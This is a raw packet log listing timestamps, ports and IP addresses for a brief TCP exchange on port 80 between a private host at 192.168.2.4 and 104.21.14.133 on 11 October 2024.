Oct 11, 2024 04:10:42.703921080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703922033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703931093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703946114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703949928 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703967094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703972101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703988075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703995943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704005003 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704016924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704035044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704051018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704051971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704051018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704082012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704116106 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704121113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704138041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704154015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704164982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704170942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704194069 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704194069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704194069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704221010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704224110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704237938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704241037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704253912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704262972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704271078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704281092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704299927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704315901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704318047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704335928 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704369068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704384089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704399109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704410076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704411030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704411030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704415083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704432964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704437971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704458952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704464912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704476118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704483986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.704510927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.704529047 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.788831949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.788853884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.788870096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.788878918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.788886070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.788893938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.788908958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.788918018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.788969994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.788970947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789056063 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789671898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789689064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789705038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789735079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789733887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789733887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789760113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789761066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789774895 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789777040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789793968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789819002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789819002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789819956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789834976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789841890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789850950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789866924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789872885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789872885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789892912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789900064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789900064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789908886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789926052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789933920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789951086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789953947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789973974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.789980888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789994955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.789998055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790010929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790025949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790028095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790041924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790055990 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790055990 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790057898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790075064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790086031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790096045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790115118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790122986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790122986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790132999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790150881 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790163040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790165901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790180922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790183067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790199041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790209055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790209055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790215969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790232897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790240049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790240049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790260077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790260077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790277958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790287018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790303946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790318012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790323019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790348053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790348053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790352106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790368080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790369987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790385962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790411949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790412903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790412903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790431023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790433884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790446997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790473938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790484905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790484905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790492058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790508032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790518045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790527105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790534019 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790543079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790551901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790560961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790571928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790585995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790591955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790601969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790611982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790617943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790632963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790657043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790657997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790657997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790715933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790721893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790735006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790769100 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790788889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790790081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790807009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790823936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790838003 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790851116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790860891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790867090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790884018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790887117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790887117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790899992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790909052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790918112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790925980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790934086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790945053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790952921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790967941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790970087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.790986061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.790991068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791001081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791012049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791018963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791039944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791039944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791045904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791060925 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791073084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791090965 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791096926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791109085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791111946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791141987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791152000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791152000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791155100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791171074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791177988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791188002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791193962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791204929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791212082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791223049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791229963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791240931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791245937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791263103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791284084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791323900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791340113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791364908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791367054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791385889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791382074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791413069 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791418076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791435957 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791443110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791459084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791465998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791475058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791485071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791492939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791502953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791508913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791523933 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791526079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791548014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791549921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791549921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791565895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791569948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791587114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791588068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791604996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791634083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791672945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791688919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791704893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791719913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791738987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791747093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791747093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791757107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791773081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791779041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791790009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791795969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791815996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791821003 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791832924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791841030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791848898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791862011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791867018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791883945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791888952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791888952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791901112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791908979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791927099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791927099 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791945934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791946888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791961908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791969061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.791977882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.791985035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.792005062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.792011976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.792023897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.792032957 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.792041063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.792052984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.792057991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.792076111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.792079926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.792079926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.792098999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.792129040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.876291037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.876502991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.876617908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.876641989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.876658916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.876673937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.876688957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.876691103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.876692057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.876704931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.876717091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.876722097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.876739979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.876739979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.876765013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.876785040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.876940966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.876997948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877011061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877026081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877051115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877064943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877077103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877093077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877094030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877093077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877113104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877125025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877142906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877146006 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877168894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877182961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877197027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877197981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877218008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877223015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877237082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877242088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877258062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877273083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877289057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877290010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877289057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877331018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877351046 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877376080 CEST	80	49733	104.21.14.133	192.168.2.4
